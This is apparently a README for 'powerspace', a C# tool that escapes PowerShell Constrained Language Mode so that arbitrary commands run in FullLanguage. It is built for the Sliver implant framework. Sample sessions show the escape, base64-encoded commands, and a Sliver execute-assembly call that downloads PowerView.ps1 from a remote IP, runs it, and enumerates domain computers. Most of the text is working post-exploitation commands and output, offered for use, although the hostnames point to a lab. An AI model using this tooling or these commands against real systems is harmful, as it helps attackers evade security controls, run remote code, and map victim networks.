Simple C# .Net Framework program that use RunspaceFactory for PowerShell from System.Management.Automation.dll in order to execute anything as FullLanguage.

• Executes PowerShell commands and scripts in FullLanguage mode using RunspaceFactory.
• Parses and executes commands, Base64-encoded commands, and scripts fetched from URLs.
• Verbose output to aid in debugging and crafting complex queries.
• Suitable for integration with implant frameworks like Sliver.

Below is an example of running powerspace through a PowerShell Constrained Language Mode (CLM):

PS C:\Users\win\Desktop\Dev> .\powerspace.exe /c:"$ExecutionContext.SessionState.LanguageMode" 
[+] Received arguments: /c:$ExecutionContext.SessionState.LanguageMode

[+] Parsed Arguments:
/c       $ExecutionContext.SessionState.LanguageMode
/e       null
/m       null

[+] Executing: $ExecutionContext.SessionState.LanguageMode

-------- Runspace Output --------

FullLanguage

-------- Runspace Output --------

This tool is particularly built with the mindset of running through an implant as an assembly, leveraging the inherent design of C# binaries:

sliver (ENORMOUS_FISHBONE) > execute-assembly -i -M -E /home/kali/backpack/d/powerspace.exe /m:"http://192.168.45.202/winaries/pwsh/PowerView.ps1" /c:"Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName"

[*] Output:
[+] Received arguments: /m:http://192.168.45.202/winaries/pwsh/PowerView.ps1 /c:Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName

[+] Parsed Arguments:
/c       Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName
/e       null
/m       http://192.168.45.202/winaries/pwsh/PowerView.ps1

[+] Executing: http://192.168.45.202/winaries/pwsh/PowerView.ps1
[i] No output
[+] Executing: Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName

-------- Runspace Output --------

dnshostname
-----------
client.test.lab
dc.test.lab
mail.test.lab
sql.test.lab

-------- Runspace Output --------

This repository aims to facilitate the sliver implementation. You can directly copy the content of the named sliver directory:

cp -r ~/git/perso/powerspace/sliver ~/.sliver-client/aliases/powerspace

PS C:\Users\win\Desktop\Dev> .\powerspace.exe /c:"whoami" /c:"hostname"
[+] Parsed Arguments:
/c       whoami
/c       hostname
/e       null
/m       null

[+] Executing: whoami

-------- Runspace Output --------

wind\win

-------- Runspace Output --------

[+] Executing: hostname

-------- Runspace Output --------

WinD

-------- Runspace Output --------

Use CyberChef to encode you commands:

PS C:\Users\win\Desktop\Dev> .\powerspace.exe /e:"dwBoAG8AYQBtAGkA"
[+] Received arguments: /e:dwBoAG8AYQBtAGkA

[+] Parsed Arguments:
/c       null
/e       dwBoAG8AYQBtAGkA
/m       null

[+] Executing: whoami

-------- Runspace Output --------

wind\win

-------- Runspace Output --------

I chose to create a simple command parser instead of using the CommandLine package to avoid the complexity of integrating dnMerge for compilation. The primary goal was to maintain ease of use. For the arguments, I implemented Windows-style parsing with the / convention to avoid conflicts with other tools, such as sliver.